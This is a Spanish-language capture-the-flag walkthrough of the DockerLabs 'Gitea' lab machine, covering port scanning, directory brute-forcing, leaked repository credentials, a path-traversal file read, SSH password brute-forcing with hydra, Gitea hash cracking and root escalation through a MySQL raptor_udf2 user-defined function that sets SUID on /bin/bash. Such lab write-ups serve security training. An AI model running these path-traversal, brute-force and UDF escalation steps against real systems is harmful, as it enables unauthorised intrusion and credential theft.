DockerLabs - Gitea
nmap
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ nmap -sCV -p22,80,3000 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e5:9a:b5:5e:a7:fc:3b:2f:7e:62:dd:51:61:f5:aa:2e (ECDSA)
|_ 256 8e:ff:03:d7:9b:72:10:c9:72:03:4d:b8:bb:77:e9:b2 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: DaCapoDocs
|_http-server-header: Apache/2.4.58 (Ubuntu)
3000/tcp open http Golang net/http server
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=36911682f6a4647a; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=dWTNeI5yJtTFpi7-0AiNshigtQ86MTc2ODkzNTQ1OTU0OTQyNjg2OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: XXX, XX XXX XXXX XX:XX:XX GMT
| <!DOCTYPE html>
| <html lang="en-US" data-theme="gitea-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2FkbWluLnMzY3IzdGRpci5kZXYuZ2l0ZWEuZGwvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9hZG1pbi5zM2NyM3RkaXIuZGV2LmdpdGVhLmRsL2Fzc2V0cy9pbWcvbG9nby5wbm"
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=68d3b8c7ed1ee9bc; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=c1ZjW5xSXk_y1eIRCNTkGo4I6MU6MTc2ODkzNTQ1OTYwMjM5MDE3MQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: XXX, XX XXX XXXX XX:XX:XX GMT
|_ Content-Length: 0
|_http-title: Gitea: Git with a cup of tea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
análisis
puerto 80
Comenzamos revisando la página web que se aloja en el puerto 80 de la máquina:
Dejaremos también en segundo plano gobuster buscando por fuerza bruta recursos en el servidor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 13615]
/assets (Status: 301) [Size: 309] [--> http://172.17.0.2/assets/]
/javascript (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/LICENSE (Status: 200) [Size: 35149]
/server-status (Status: 403) [Size: 275]
puerto 3000
El análisis ejecutado con nmap nos ha desvelado que también hay un Gitea (software de código abierto alojado en servidores propios que permite gestionar repositorios Git) desplegado en el puerto 3000 de la máquina:
Emplearemos para este caso gobuster nuevamente para buscar recursos en el puerto 3000:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ gobuster dir -u "http://172.17.0.2:3000" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2:3000
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/issues (Status: 303) [Size: 38] [--> /user/login]
/admin (Status: 200) [Size: 19853]
/v2 (Status: 401) [Size: 50]
/explore (Status: 303) [Size: 41] [--> /explore/repos]
/Admin (Status: 200) [Size: 19852]
/designer (Status: 200) [Size: 27641]
/milestones (Status: 303) [Size: 38] [--> /user/login]
/notifications (Status: 303) [Size: 38] [--> /user/login]
Vemos que el recurso /admin nos redirige a la página del usuario admin, el cual no tiene ningún repositorio ni ningún proyecto creado:
Accedemos al panel de autenticación mediante el botón Sign In ubicado en la esquina superior derecha, el cual nos indica el subdominio admin.s3cr3tdir.dev.gitea.dl en un aviso:
Agregaremos este subdominio al fichero /etc/hosts de nuestra maquina, junto con los dominios superiores al mismo, ya que así, en caso de haber virtual hosting, podremos acceder a recursos que de primeras no podríamos acceder:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ cat /etc/hosts | grep gitea
172.17.0.2 admin.s3cr3tdir.dev.gitea.dl s3cr3tdir.dev.gitea.dl dev.gitea.dl gitea.dl
admin.s3cr3tdir.dev.gitea.dl
Accedemos al subdominio que nos indicaban en el mensaje, y vemos que accedemos a la misma instancia de Gitea.
Revisamos los repositorios que tenemos disponibles:
giteaInfo
Vemos en los cambios realizados en los commits información relacionada con la estructura interna que podría tener Gitea en la máquina:
mysql
En el repositorio mysql vemos que están expuestos datos como el usuario designer, el nombre de la base de datos y credenciales de acceso:
myapp
El repositorio myapp pertenece a un aplicativo que no hemos visto todavía, el cual expone la clave secreta de Flask:
Tras analizar el script app.py, vemos que dicha aplicación tiene configurado en el recurso /download la posibilidad de descargar ficheros del sistema:
Con la información obtenida, pasaremos a revisar los demás subdominios en busca de vectores de entrada al sistema.
s3cr3tdir.dev.gitea.dl
Nuevamente ejecutaremos gobuster para obtener los recursos del subdominio mientras revisamos la web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ gobuster dir -u "http://s3cr3tdir.dev.gitea.dl" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://s3cr3tdir.dev.gitea.dl
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 13374]
/assets (Status: 301) [Size: 333] [--> http://s3cr3tdir.dev.gitea.dl/assets/]
/tutorials.html (Status: 200) [Size: 6808]
/free.html (Status: 200) [Size: 7958]
/css (Status: 301) [Size: 330] [--> http://s3cr3tdir.dev.gitea.dl/css/]
/js (Status: 301) [Size: 329] [--> http://s3cr3tdir.dev.gitea.dl/js/]
/javascript (Status: 301) [Size: 337] [--> http://s3cr3tdir.dev.gitea.dl/javascript/]
/premium.html (Status: 200) [Size: 10166]
/fonts (Status: 301) [Size: 332] [--> http://s3cr3tdir.dev.gitea.dl/fonts/]
/LICENSE (Status: 200) [Size: 1070]
/server-status (Status: 403) [Size: 287]
===============================================================
Finished
===============================================================
Tras analizar la página web, no encontramos nada de información relevante:
dev.gitea.dl
Buscaremos nuevamente con gobuster recursos en el sistema mientras revisamos la página web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ gobuster dir -u "http://dev.gitea.dl" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.gitea.dl
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/search (Status: 301) [Size: 313] [--> http://dev.gitea.dl/search/]
/about.html (Status: 200) [Size: 123571]
/contact.html (Status: 200) [Size: 49689]
/index.html (Status: 200) [Size: 265382]
/signup.html (Status: 200) [Size: 53916]
/assets (Status: 301) [Size: 313] [--> http://dev.gitea.dl/assets/]
/pricing.html (Status: 200) [Size: 49178]
/src (Status: 301) [Size: 310] [--> http://dev.gitea.dl/src/]
/javascript (Status: 301) [Size: 317] [--> http://dev.gitea.dl/javascript/]
/signin.html (Status: 200) [Size: 53297]
/404.html (Status: 200) [Size: 84362]
/LICENSE (Status: 200) [Size: 1066]
/server-status (Status: 403) [Size: 277]
===============================================================
Finished
===============================================================
Sin embargo, no vemos nada que nos indique como podemos avanzar:
Por ello, continuaremos revisando el subdominio gitea.dl.
gitea.dl
Vemos en la página principal del domino gitea.dl un panel de login, y un placeholder para el campo de la contraseña un poco sospechoso (lo guardamos para más adelante):
Dejaremos gobuster buscando en segundo plano buscando recursos mientras analizamos la página web, el cual finalmente nos descubre el recurso /download:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ gobuster dir -u "http://gitea.dl" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://gitea.dl
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 302) [Size: 189] [--> /]
acceso inicial (designer)
El recurso /download podría tratarse del que vimos en Gitea en el repositorio myapp, donde vimos que podemos descargar ficheros del sistema indicando el parámetro filename, así que probamos esta funcionalidad:
1
http://gitea.dl/download?filename=../../../../../../../../etc/passwd
Habiendo obtenido un LFI, vimos en el repositorio de Gitea que en /opt/info.txt podría haber un fichero, por lo que probamos a descargárnoslo:
1
http://gitea.dl/download?filename=../../../../../../../../opt/info.txt
Vemos que el fichero contiene una serie de usuarios y contraseñas:
Movemos el fichero obtenido a la carpeta de la máquina, y procedemos a obtener las credenciales empleando awk:
1
2
3
4
5
6
7
8
9
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ mv ~/Downloads/info.txt .
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ cat info.txt | awk '{print $1}'
user001:***********
user002:**********
user003:************
user004:**********
...
Lo siguiente será quedarse únicamente con las contraseñas:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ cat info.txt | awk '{print $1}' | awk '{print $2}' FS=":"
***********
**********
************
**********
....
Guardamos todas las contraseñas en un fichero y probamos a ver si alguna de las contraseñas es la del usuario designer que vimos anteriormente para acceder por SSH, y resulta su contraseña estaba dentro del listado de contraseñas que hemos obtenido:
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ hydra -l designer -P wordlist ssh://172.17.0.2 -I
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries (l:1/p:50), ~4 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: designer password: **********************
1 of 1 target successfully completed, 1 valid password found
Procedemos a conectarnos a la máquina por SSH:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ ssh designer@172.17.0.2
designer@172.17.0.2`s password:
designer@c122048a419e:~$ whoami
designer
designer@c122048a419e:~$ hostname -I
172.17.0.2
Tal y como vimos anteriormente, los únicos usuarios del sistema que tienen una consola asignada en el fichero /etc/passwd son los siguientes:
1
2
3
designer@c122048a419e:~$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
designer:x:1001:1001::/home/designer:/bin/bash
Revisamos los permisos SUDO del usuario designer, pero vemos que no cuenta con ellos:
1
2
3
designer@c122048a419e:~$ sudo -l
[sudo] password for designer:
Sorry, user designer may not run sudo on c122048a419e.
La primera flag la encontramos en el directorio del usuario designer:
1
2
designer@c122048a419e:~$ cat user.txt
4683****************************
escalada de privilegios (root)
En el directorio personal del usuario designer encontramos la estructura de carpetas que compone los diferentes subdominios y aplicativos que hemos visto hasta ahora:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
designer@c122048a419e:~$ ls -la
total 64
drwxr-x--- 1 designer designer 4096 XXX XX XX:XX .
drwxr-xr-x 1 root root 4096 Feb 24 2025 ..
-rw-r--r-- 1 designer designer 220 Feb 24 2025 .bash_logout
-rw-r--r-- 1 designer designer 3771 Feb 24 2025 .bashrc
drwx------ 2 designer designer 4096 XXX XX XX:XX .cache
drwxrwxr-x 3 designer designer 4096 Feb 26 2025 .local
-rw------- 1 designer designer 13 Feb 26 2025 .mysql_history
-rw-r--r-- 1 designer designer 807 Feb 24 2025 .profile
drwx------ 1 designer designer 4096 Feb 25 2025 .ssh
drwxr-x--- 1 designer designer 4096 Feb 24 2025 gitea
drwxr-xr-x 3 root root 4096 Feb 26 2025 giteaInfo
drwxr-xr-x 3 designer designer 4096 Feb 24 2025 mysql
-rw-r--r-- 1 root root 33 Feb 26 2025 user.txt
Nos traeremos la base de datos de Gitea (/home/designer/gitea/data/gitea.db) a nuestro equipo para poder revisarla y sacar los hashes de los usuarios, y tratar de obtener las credenciales por fuerza bruta.
Abriremos un servidor web con Python:
1
2
3
4
designer@c122048a419e:~$ ls -la gitea/data/gitea.db
-rw-r--r-- 1 designer designer 2097152 XX XX XX:XX gitea/data/gitea.db
designer@c122048a419e:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Desde nuestra máquina nos descargaremos el fichero gitea.db:
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ wget http://172.17.0.2:8080/gitea.db
--XXXX-XX-XX XX:XX:XX-- http://172.17.0.2:8080/gitea.db
Connecting to 172.17.0.2:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2097152 (2.0M) [application/octet-stream]
Saving to: ‘gitea.db’
gitea.db 100%[====================================================================================================================>] 2.00M --.-KB/s in 0.009s
XXXX-XX-XX XX:XX:XX (218 MB/s) - ‘gitea.db’ saved [2097152/2097152]
Abrimos el fichero con la utilidad sqlite3 y revisamos la tabla que nos interesa, que en este caso es user, la cual contiene los hashes y los salt de los usuarios de Gitea:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
...
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
...
sqlite> .schema user
CREATE TABLE `user` (`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, `lower_name` TEXT NOT NULL, `name` TEXT NOT NULL, `full_name` TEXT NULL, `email` TEXT NOT NULL, `keep_email_private` INTEGER NULL, `email_notifications_preference` TEXT DEFAULT 'enabled' NOT NULL, `passwd` TEXT NOT NULL, `passwd_hash_algo` TEXT DEFAULT 'argon2' NOT NULL, `must_change_password` INTEGER DEFAULT 0 NOT NULL, `login_type` INTEGER NULL, `login_source` INTEGER DEFAULT 0 NOT NULL, `login_name` TEXT NULL, `type` INTEGER NULL, `location` TEXT NULL, `website` TEXT NULL, `rands` TEXT NULL, `salt` TEXT NULL, `language` TEXT NULL, `description` TEXT NULL, `created_unix` INTEGER NULL, `updated_unix` INTEGER NULL, `last_login_unix` INTEGER NULL, `last_repo_visibility` INTEGER NULL, `max_repo_creation` INTEGER DEFAULT -1 NOT NULL, `is_active` INTEGER NULL, `is_admin` INTEGER NULL, `is_restricted` INTEGER DEFAULT 0 NOT NULL, `allow_git_hook` INTEGER NULL, `allow_import_local` INTEGER NULL, `allow_create_organization` INTEGER DEFAULT 1 NULL, `prohibit_login` INTEGER DEFAULT 0 NOT NULL, `avatar` TEXT NOT NULL, `avatar_email` TEXT NOT NULL, `use_custom_avatar` INTEGER NULL, `num_followers` INTEGER NULL, `num_following` INTEGER DEFAULT 0 NOT NULL, `num_stars` INTEGER NULL, `num_repos` INTEGER NULL, `num_teams` INTEGER NULL, `num_members` INTEGER NULL, `visibility` INTEGER DEFAULT 0 NOT NULL, `repo_admin_change_team_access` INTEGER DEFAULT 0 NOT NULL, `diff_view_style` TEXT DEFAULT '' NOT NULL, `theme` TEXT DEFAULT '' NOT NULL, `keep_activity_private` INTEGER DEFAULT 0 NOT NULL);
...
sqlite> select lower_name,salt,passwd from user;
admin|b4b9****************************|fc04************************************************************************************************
designer|0fac****************************|9f27************************************************************************************************
test|6689****************************|ec5c************************************************************************************************
Ahora usaremos el script crack.py (se debe modificar para indicar el hash y el salt de cada usuario) para tratar de obtener las contraseñas de los usuarios de la base de datos de Gitea, donde al parecer los dos usuarios (admin y designer) tienen la misma contraseña:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ python3 crack.py
Password found for admin: **********************
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Gitea]
└─$ python3 crack.py
Password found for designer: **********************
En la pantalla de autenticación del dominio gitea.dl nos sugerían unas credenciales como placeholders, y si probamos a acceder con ellas al gestor de bases de datos, veremos que accedemos correctamente:
1
2
3
4
5
6
7
8
9
10
11
designer@c122048a419e:~$ mysql -uadmin -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 12
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Encontramos una manera de realizar la escalada de privilegios cuando tenemos acceso a un gestor de bases de datos mysql.
Comenzaremos por compilar el script en C que nos indican:
1
2
3
4
5
6
7
8
designer@c122048a419e:~$ find / -iname *lib_mysqludf_sys* 2>/dev/null
designer@c122048a419e:~$ nano raptor_udf2.c
designer@c122048a419e:~$ gcc -g -c raptor_udf2.c
designer@c122048a419e:~$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
designer@c122048a419e:~$ ls -la | grep raptor
-rw-rw-r-- 1 designer designer 3287 XXX XX XX:XX raptor_udf2.c
-rw-rw-r-- 1 designer designer 5216 XXX XX XX:XX raptor_udf2.o
-rwxrwxr-x 1 designer designer 17464 XXX XX XX:XX raptor_udf2.so
Cuando intentamos crear una tabla para cargar la librería maliciosa, nos damos cuenta de que el usuario admin no tiene permisos para ello:
1
2
3
4
5
6
7
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> create table npn(line blob);
ERROR 1142 (42000): CREATE command denied to user 'admin'@'localhost' for table `mysql`.`npn`
Esto impide poder cargar la librería dentro de la carpeta plugins usando una tabla, por lo que debemos hacerlo manualmente.
Listaremos de las variables de entorno la carpeta en la que se encuentran los plugins, que sería /usr/lib/mysql/plugin/:
1
2
3
4
5
6
7
8
MariaDB [(none)]> show variables like '%plugin%';
+-----------------+------------------------+
| Variable_name | Value |
+-----------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
| plugin_maturity | gamma |
+-----------------+------------------------+
2 rows in set (0.001 sec)
Procedemos a movernos a dicho directorio, listar sus permisos, y resulta que tenemos permisos de escritura:
1
2
3
4
5
designer@c122048a419e:~$ ls -la /usr/lib/mysql
total 12
drwxr-xr-x 1 root root 4096 Feb 25 2025 .
drwxr-xr-x 1 root root 4096 Feb 27 2025 ..
drwxr-xrwx 1 root root 4096 Feb 26 2025 plugin
Copiamos la librería que creamos anteriormente:
1
2
3
designer@c122048a419e:~$ cp raptor_udf2.so /usr/lib/mysql/plugin
designer@c122048a419e:~$ ls -la /usr/lib/mysql/plugin/ | grep raptor
-rwxrwxr-x 1 designer designer 17464 XXX XX XX:XX raptor_udf2.so
Ahora retomaremos el proceso que nos indicaban desde la creación de la función sys_exec, pero como la función dentro de la librería tiene el nombre do_system, debemos emplear dicho nombre:
1
2
3
4
MariaDB [(none)]> create function sys_exec returns integer soname 'raptor_udf2.so';
ERROR 1127 (HY000): Can`t find symbol 'sys_exec' in library
MariaDB [(none)]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.005 sec)
Listaremos las funciones declaradas, y vemos la que acabamos de crear:
1
2
3
4
5
6
7
MariaDB [(none)]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.001 sec)
Para poder obtener una consola como el usuario root, emplearemos el método de otorgar el permiso SUID (permite ejecutar binario con permisos del propietario) al binario /bin/bash.
Comprobamos los permisos que tiene el binario /bin/bash:
1
2
designer@c122048a419e:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Ahora ejecutaremos el comando que otorgará permisos SUID a este binario, para que podamos ejecutarlo con permisos del propietario, es decir, como root:
1
2
3
4
5
6
7
MariaDB [(none)]> select do_system('chmod u+s /bin/bash');
+----------------------------------+
| do_system('chmod u+s /bin/bash') |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.025 sec)
Si volvemos a revisar los permisos, veremos que se han modificado correctamente:
1
2
designer@c122048a419e:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Ahora solo queda invocar una consola privilegiada:
1
2
3
designer@c122048a419e:~$ bash -p
bash-5.2# whoami
root
La segunda flag es:
1
2
bash-5.2# cat /root/root.txt
d5a2****************************















